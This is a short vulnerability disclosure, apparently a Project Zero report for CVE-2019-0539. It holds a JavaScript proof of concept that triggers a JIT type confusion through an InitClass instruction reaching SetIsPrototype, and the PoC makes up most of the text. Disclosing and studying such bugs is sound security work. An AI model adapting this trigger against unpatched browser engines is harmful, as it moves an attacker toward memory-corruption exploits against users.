This is similar to https://crbug.com/project-zero/1702. This time, it uses an InitClass instruction to reach the SetIsPrototype method.

PoC:
function opt(o, c, value) {
o.b = 1;

class A extends c {  

}  

o.a = value;  

}

function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}

let o = {a: 1, b: 2};  
let cons = function () {};  

cons.prototype = o;  

opt(o, cons, 0x1234);  

print(o.a);  

}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.


Related CVE Number: CVE-2019-0539.

Credit: lokihardt